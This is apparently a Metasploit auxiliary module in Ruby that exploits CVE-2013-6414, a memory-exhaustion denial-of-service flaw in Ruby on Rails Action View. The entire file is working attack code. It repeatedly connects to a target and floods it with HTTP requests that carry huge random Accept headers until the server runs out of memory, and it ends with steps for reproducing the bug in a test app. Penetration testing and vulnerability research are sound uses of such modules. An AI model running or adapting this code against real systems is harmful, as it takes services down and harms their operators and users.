121 lines
3.5 KiB
Ruby
121 lines
3.5 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Auxiliary
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include Msf::Exploit::Remote::Tcp
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include Msf::Auxiliary::Dos
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Ruby on Rails Action View MIME Memory Exhaustion',
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'Description' => %q{
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This module exploits a Denial of Service (DoS) condition in Action View that requires
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a controller action. By sending a specially crafted content-type header to a Rails
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application, it is possible for it to store the invalid MIME type, and may eventually
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consume all memory if enough invalid MIMEs are given.
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Versions 3.0.0 and other later versions are affected, fixed in 4.0.2 and 3.2.16.
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},
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'Author' =>
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[
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'Toby Hsieh', # Reported the issue
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'joev', # Metasploit
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'sinn3r' # Metasploit
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'CVE', '2013-6414' ],
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[ 'OSVDB', '100525' ],
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[ 'BID', '64074' ],
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[ 'URL', 'http://seclists.org/oss-sec/2013/q4/400' ],
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[ 'URL', 'https://github.com/rails/rails/commit/bee3b7f9371d1e2ddcfe6eaff5dcb26c0a248068' ]
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],
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'DisclosureDate' => 'Dec 04 2013'))
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register_options(
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[
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Opt::RPORT(80),
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OptString.new('URIPATH', [true, 'The URI that routes to a Rails controller action', '/']),
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OptInt.new('MAXSTRINGSIZE', [true, 'Max string size', 60000]),
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OptInt.new('REQCOUNT', [true, 'Number of HTTP requests to pipeline per connection', 1]),
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OptInt.new('RLIMIT', [true, 'Number of requests to send', 100000])
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],
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self.class)
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end
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def host
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host = datastore['RHOST']
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host += ":" + datastore['RPORT'].to_s if datastore['RPORT'] != 80
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host
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end
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def long_string
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Rex::Text.rand_text_alphanumeric(datastore['MAXSTRINGSIZE'])
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end
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#
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# Returns a modified version of the URI that:
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# 1. Always has a starting slash
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# 2. Removes all the double slashes
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#
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def normalize_uri(*strs)
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new_str = strs * "/"
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new_str = new_str.gsub!("//", "/") while new_str.index("//")
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# Makes sure there's a starting slash
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unless new_str.start_with?("/")
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new_str = '/' + new_str
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end
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new_str
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end
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def http_request
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uri = normalize_uri(datastore['URIPATH'])
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http = ''
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http << "GET #{uri} HTTP/1.1\r\n"
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http << "Host: #{host}\r\n"
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http << "Accept: #{long_string}\r\n"
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http << "\r\n"
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http
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end
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def run
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begin
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print_status("Stressing the target memory, this will take quite some time...")
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datastore['RLIMIT'].times { |i|
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connect
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datastore['REQCOUNT'].times { sock.put(http_request) }
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disconnect
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}
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print_status("Attack finished. Either the server isn't vulnerable, or please dos harder.")
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rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
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print_status("Unable to connect to #{host}.")
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rescue ::Errno::ECONNRESET, ::Errno::EPIPE, ::Timeout::Error
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print_good("DoS successful. #{host} not responding. Out Of Memory condition probably reached.")
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ensure
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disconnect
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end
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end
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end
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=begin
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Reproduce:
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1. Add a def index; end to ApplicationController
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2. Add an empty index.html.erb file to app/views/application/index.html.erb
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3. Uncomment the last line in routes.rb
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4. Hit /application
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=end
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